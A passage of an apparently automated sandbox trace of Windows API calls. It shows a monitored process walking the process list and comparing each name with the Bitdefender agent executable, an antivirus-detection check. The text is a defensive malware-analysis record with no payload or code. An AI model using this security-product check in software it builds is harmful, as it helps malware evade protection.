returned 0xb [0074.398] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.398] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.398] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.398] lstrlenW (lpString="svchost.exe") returned 11 [0074.398] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.398] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.398] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.398] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.398] lstrlenW (lpString="svchost.exe") returned 11 [0074.398] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.399] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.399] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0074.399] lstrcpyW (in: lpString1=0x18f0b0, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0074.399] lstrlenW (lpString="spoolsv.exe") returned 11 [0074.399] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0074.399] lstrcmpW (lpString1="SPOOLSV.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.399] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.399] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0074.399] lstrlenW (lpString="taskhost.exe") returned 12 [0074.399] CharUpperBuffW (in: lpsz="taskhost.exe", cchLength=0xc | out: lpsz="TASKHOST.EXE") returned 0xc [0074.400] lstrcmpW (lpString1="TASKHOST.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.400] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.400] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.400] lstrlenW (lpString="svchost.exe") returned 11 [0074.400] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.400] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.400] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0074.400] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0074.400] lstrlenW (lpString="taskeng.exe") returned 11 [0074.400] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0074.400] lstrcmpW (lpString1="TASKENG.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.401] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.401] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.401] lstrlenW (lpString="svchost.exe") returned 11 [0074.401] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.401] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.401] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.401] lstrcpyW (in: lpString1=0x18f0b0, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0074.401] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.401] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0074.401] lstrcmpW (lpString1="WMIPRVSE.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.402] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0074.448] lstrcpyW (in: lpString1=0x18f0b0, lpString2="sppsvc.exe" | out: lpString1="sppsvc.exe") returned="sppsvc.exe" [0074.448] lstrlenW (lpString="sppsvc.exe") returned 10 [0074.448] CharUpperBuffW (in: lpsz="sppsvc.exe", cchLength=0xa | out: lpsz="SPPSVC.EXE") returned 0xa [0074.449] lstrcmpW (lpString1="SPPSVC.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.449] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0074.449] lstrcpyW (in: lpString1=0x18f0b0, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0074.449] lstrlenW (lpString="dwm.exe") returned 7 [0074.449] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0074.449] lstrcmpW (lpString1="DWM.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.449] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x414, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0074.450] lstrcpyW (in: lpString1=0x18f0b0, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0074.450] lstrlenW (lpString="explorer.exe") returned 12 [0074.450] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0074.450] lstrcmpW (lpString1="EXPLORER.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.450] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0074.450] lstrcpyW (in: lpString1=0x18f0b0, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0074.450] lstrlenW (lpString="audiodg.exe") returned 11 [0074.450] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0074.450] lstrcmpW (lpString1="AUDIODG.EXE", lpString2="BDAGENT.EXE") returned -1 [0074.450] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.450] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.450] lstrlenW (lpString="svchost.exe") returned 11 [0074.451] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.451] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.451] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.451] lstrcpyW (in: lpString1=0x18f0b0, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0074.451] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.451] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0074.451] lstrcmpW (lpString1="WMIPRVSE.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.451] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.451] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0074.451] lstrlenW (lpString="taskhost.exe") returned 12 [0074.451] CharUpperBuffW (in: lpsz="taskhost.exe", cchLength=0xc | out: lpsz="TASKHOST.EXE") returned 0xc [0074.452] lstrcmpW (lpString1="TASKHOST.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.452] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana-reaction.exe")) returned 1 [0074.452] lstrcpyW (in: lpString1=0x18f0b0, lpString2="ghana-reaction.exe" | out: lpString1="ghana-reaction.exe") returned="ghana-reaction.exe" [0074.452] lstrlenW (lpString="ghana-reaction.exe") returned 18 [0074.452] CharUpperBuffW (in: lpsz="ghana-reaction.exe", cchLength=0x12 | out: lpsz="GHANA-REACTION.EXE") returned 0x12 [0074.452] lstrcmpW (lpString1="GHANA-REACTION.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.452] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="survive recipes.exe")) returned 1 [0074.452] lstrcpyW (in: lpString1=0x18f0b0, lpString2="survive recipes.exe" | out: lpString1="survive recipes.exe") returned="survive recipes.exe" [0074.452] lstrlenW (lpString="survive recipes.exe") returned 19 [0074.452] CharUpperBuffW (in: lpsz="survive recipes.exe", cchLength=0x13 | out: lpsz="SURVIVE RECIPES.EXE") returned 0x13 [0074.452] lstrcmpW (lpString1="SURVIVE RECIPES.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.452] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiley listprice immigration mn.exe")) returned 1 [0074.453] lstrcpyW (in: lpString1=0x18f0b0, lpString2="wiley listprice immigration mn.exe" | out: lpString1="wiley listprice immigration mn.exe") returned="wiley listprice immigration mn.exe" [0074.453] lstrlenW (lpString="wiley listprice immigration mn.exe") returned 34 [0074.453] CharUpperBuffW (in: lpsz="wiley listprice immigration mn.exe", cchLength=0x22 | out: lpsz="WILEY LISTPRICE IMMIGRATION MN.EXE") returned 0x22 [0074.453] lstrcmpW (lpString1="WILEY LISTPRICE IMMIGRATION MN.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.453] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="temp la various.exe")) returned 1 [0074.453] lstrcpyW (in: lpString1=0x18f0b0, lpString2="temp la various.exe" | out: lpString1="temp la various.exe") returned="temp la various.exe" [0074.453] lstrlenW (lpString="temp la various.exe") returned 19 [0074.453] CharUpperBuffW (in: lpsz="temp la various.exe", cchLength=0x13 | out: lpsz="TEMP LA VARIOUS.EXE") returned 0x13 [0074.453] lstrcmpW (lpString1="TEMP LA VARIOUS.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.453] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan storm.exe")) returned 1 [0074.454] lstrcpyW (in: lpString1=0x18f0b0, lpString2="metropolitan storm.exe" | out: lpString1="metropolitan storm.exe") returned="metropolitan storm.exe" [0074.454] lstrlenW (lpString="metropolitan storm.exe") returned 22 [0074.454] CharUpperBuffW (in: lpsz="metropolitan storm.exe", cchLength=0x16 | out: lpsz="METROPOLITAN STORM.EXE") returned 0x16 [0074.454] lstrcmpW (lpString1="METROPOLITAN STORM.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.454] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats-viewing-llc.exe")) returned 1 [0074.454] lstrcpyW (in: lpString1=0x18f0b0, lpString2="thats-viewing-llc.exe" | out: lpString1="thats-viewing-llc.exe") returned="thats-viewing-llc.exe" [0074.454] lstrlenW (lpString="thats-viewing-llc.exe") returned 21 [0074.454] CharUpperBuffW (in: lpsz="thats-viewing-llc.exe", cchLength=0x15 | out: lpsz="THATS-VIEWING-LLC.EXE") returned 0x15 [0074.454] lstrcmpW (lpString1="THATS-VIEWING-LLC.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.454] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="houses.exe")) returned 1 [0074.455] lstrcpyW (in: lpString1=0x18f0b0, lpString2="houses.exe" | out: lpString1="houses.exe") returned="houses.exe" [0074.455] lstrlenW (lpString="houses.exe") returned 10 [0074.455] CharUpperBuffW (in: lpsz="houses.exe", cchLength=0xa | out: lpsz="HOUSES.EXE") returned 0xa [0074.455] lstrcmpW (lpString1="HOUSES.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.455] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="renewal.exe")) returned 1 [0074.455] lstrcpyW (in: lpString1=0x18f0b0, lpString2="renewal.exe" | out: lpString1="renewal.exe") returned="renewal.exe" [0074.455] lstrlenW (lpString="renewal.exe") returned 11 [0074.455] CharUpperBuffW (in: lpsz="renewal.exe", cchLength=0xb | out: lpsz="RENEWAL.EXE") returned 0xb [0074.455] lstrcmpW (lpString1="RENEWAL.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.455] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="zones transferred trainers.exe")) returned 1 [0074.456] lstrcpyW (in: lpString1=0x18f0b0, lpString2="zones transferred trainers.exe" | out: lpString1="zones transferred trainers.exe") returned="zones transferred trainers.exe" [0074.456] lstrlenW (lpString="zones transferred trainers.exe") returned 30 [0074.456] CharUpperBuffW (in: lpsz="zones transferred trainers.exe", cchLength=0x1e | out: lpsz="ZONES TRANSFERRED TRAINERS.EXE") returned 0x1e [0074.456] lstrcmpW (lpString1="ZONES TRANSFERRED TRAINERS.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.456] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="courses ham.exe")) returned 1 [0074.456] lstrcpyW (in: lpString1=0x18f0b0, lpString2="courses ham.exe" | out: lpString1="courses ham.exe") returned="courses ham.exe" [0074.456] lstrlenW (lpString="courses ham.exe") returned 15 [0074.456] CharUpperBuffW (in: lpsz="courses ham.exe", cchLength=0xf | out: lpsz="COURSES HAM.EXE") returned 0xf [0074.456] lstrcmpW (lpString1="COURSES HAM.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.456] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="canon.exe")) returned 1 [0074.457] lstrcpyW (in: lpString1=0x18f0b0, lpString2="canon.exe" | out: lpString1="canon.exe") returned="canon.exe" [0074.457] lstrlenW (lpString="canon.exe") returned 9 [0074.457] CharUpperBuffW (in: lpsz="canon.exe", cchLength=0x9 | out: lpsz="CANON.EXE") returned 0x9 [0074.457] lstrcmpW (lpString1="CANON.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.457] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fairlysettingoperational.exe")) returned 1 [0074.457] lstrcpyW (in: lpString1=0x18f0b0, lpString2="fairlysettingoperational.exe" | out: lpString1="fairlysettingoperational.exe") returned="fairlysettingoperational.exe" [0074.457] lstrlenW (lpString="fairlysettingoperational.exe") returned 28 [0074.457] CharUpperBuffW (in: lpsz="fairlysettingoperational.exe", cchLength=0x1c | out: lpsz="FAIRLYSETTINGOPERATIONAL.EXE") returned 0x1c [0074.457] lstrcmpW (lpString1="FAIRLYSETTINGOPERATIONAL.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.457] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="claimed desk.exe")) returned 1 [0074.458] lstrcpyW (in: lpString1=0x18f0b0, lpString2="claimed desk.exe" | out: lpString1="claimed desk.exe") returned="claimed desk.exe" [0074.458] lstrlenW (lpString="claimed desk.exe") returned 16 [0074.458] CharUpperBuffW (in: lpsz="claimed desk.exe", cchLength=0x10 | out: lpsz="CLAIMED DESK.EXE") returned 0x10 [0074.458] lstrcmpW (lpString1="CLAIMED DESK.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.458] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mel_ds_cancelled.exe")) returned 1 [0074.458] lstrcpyW (in: lpString1=0x18f0b0, lpString2="mel_ds_cancelled.exe" | out: lpString1="mel_ds_cancelled.exe") returned="mel_ds_cancelled.exe" [0074.458] lstrlenW (lpString="mel_ds_cancelled.exe") returned 20 [0074.458] CharUpperBuffW (in: lpsz="mel_ds_cancelled.exe", cchLength=0x14 | out: lpsz="MEL_DS_CANCELLED.EXE") returned 0x14 [0074.458] lstrcmpW (lpString1="MEL_DS_CANCELLED.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.458] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="appears_li_pressed_h.exe")) returned 1 [0074.459] lstrcpyW (in: lpString1=0x18f0b0, lpString2="appears_li_pressed_h.exe" | out: lpString1="appears_li_pressed_h.exe") returned="appears_li_pressed_h.exe" [0074.459] lstrlenW (lpString="appears_li_pressed_h.exe") returned 24 [0074.459] CharUpperBuffW (in: lpsz="appears_li_pressed_h.exe", cchLength=0x18 | out: lpsz="APPEARS_LI_PRESSED_H.EXE") returned 0x18 [0074.459] lstrcmpW (lpString1="APPEARS_LI_PRESSED_H.EXE", lpString2="BDAGENT.EXE") returned -1 [0074.459] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="quite-consumer-opera.exe")) returned 1 [0074.459] lstrcpyW (in: lpString1=0x18f0b0, lpString2="quite-consumer-opera.exe" | out: lpString1="quite-consumer-opera.exe") returned="quite-consumer-opera.exe" [0074.459] lstrlenW (lpString="quite-consumer-opera.exe") returned 24 [0074.459] CharUpperBuffW (in: lpsz="quite-consumer-opera.exe", cchLength=0x18 | out: lpsz="QUITE-CONSUMER-OPERA.EXE") returned 0x18 [0074.459] lstrcmpW (lpString1="QUITE-CONSUMER-OPERA.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.459] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="tile-conflict-specializing-authentic.exe")) returned 1 [0074.460] lstrcpyW (in: lpString1=0x18f0b0, lpString2="tile-conflict-specializing-authentic.exe" | out: lpString1="tile-conflict-specializing-authentic.exe") returned="tile-conflict-specializing-authentic.exe" [0074.460] lstrlenW (lpString="tile-conflict-specializing-authentic.exe") returned 40 [0074.460] CharUpperBuffW (in: lpsz="tile-conflict-specializing-authentic.exe", cchLength=0x28 | out: lpsz="TILE-CONFLICT-SPECIALIZING-AUTHENTIC.EXE") returned 0x28 [0074.460] lstrcmpW (lpString1="TILE-CONFLICT-SPECIALIZING-AUTHENTIC.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.460] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlimited breakdown.exe")) returned 1 [0074.460] lstrcpyW (in: lpString1=0x18f0b0, lpString2="unlimited breakdown.exe" | out: lpString1="unlimited breakdown.exe") returned="unlimited breakdown.exe" [0074.460] lstrlenW (lpString="unlimited breakdown.exe") returned 23 [0074.460] CharUpperBuffW (in: lpsz="unlimited breakdown.exe", cchLength=0x17 | out: lpsz="UNLIMITED BREAKDOWN.EXE") returned 0x17 [0074.460] lstrcmpW (lpString1="UNLIMITED BREAKDOWN.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.460] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="aluminiumglmessagesymptoms.exe")) returned 1 [0074.461] lstrcpyW (in: lpString1=0x18f0b0, lpString2="aluminiumglmessagesymptoms.exe" | out: lpString1="aluminiumglmessagesymptoms.exe") returned="aluminiumglmessagesymptoms.exe" [0074.461] lstrlenW (lpString="aluminiumglmessagesymptoms.exe") returned 30 [0074.461] CharUpperBuffW (in: lpsz="aluminiumglmessagesymptoms.exe", cchLength=0x1e | out: lpsz="ALUMINIUMGLMESSAGESYMPTOMS.EXE") returned 0x1e [0074.461] lstrcmpW (lpString1="ALUMINIUMGLMESSAGESYMPTOMS.EXE", lpString2="BDAGENT.EXE") returned -1 [0074.461] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="EXCEL.EXE")) returned 1 [0074.461] lstrcpyW (in: lpString1=0x18f0b0, lpString2="EXCEL.EXE" | out: lpString1="EXCEL.EXE") returned="EXCEL.EXE" [0074.461] lstrlenW (lpString="EXCEL.EXE") returned 9 [0074.461] CharUpperBuffW (in: lpsz="EXCEL.EXE", cchLength=0x9 | out: lpsz="EXCEL.EXE") returned 0x9 [0074.461] lstrcmpW (lpString1="EXCEL.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.461] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0074.462] lstrcpyW (in: lpString1=0x18f0b0, lpString2="OSPPSVC.EXE" | out: lpString1="OSPPSVC.EXE") returned="OSPPSVC.EXE" [0074.462] lstrlenW (lpString="OSPPSVC.EXE") returned 11 [0074.462] CharUpperBuffW (in: lpsz="OSPPSVC.EXE", cchLength=0xb | out: lpsz="OSPPSVC.EXE") returned 0xb [0074.462] lstrcmpW (lpString1="OSPPSVC.EXE", lpString2="BDAGENT.EXE") returned 1 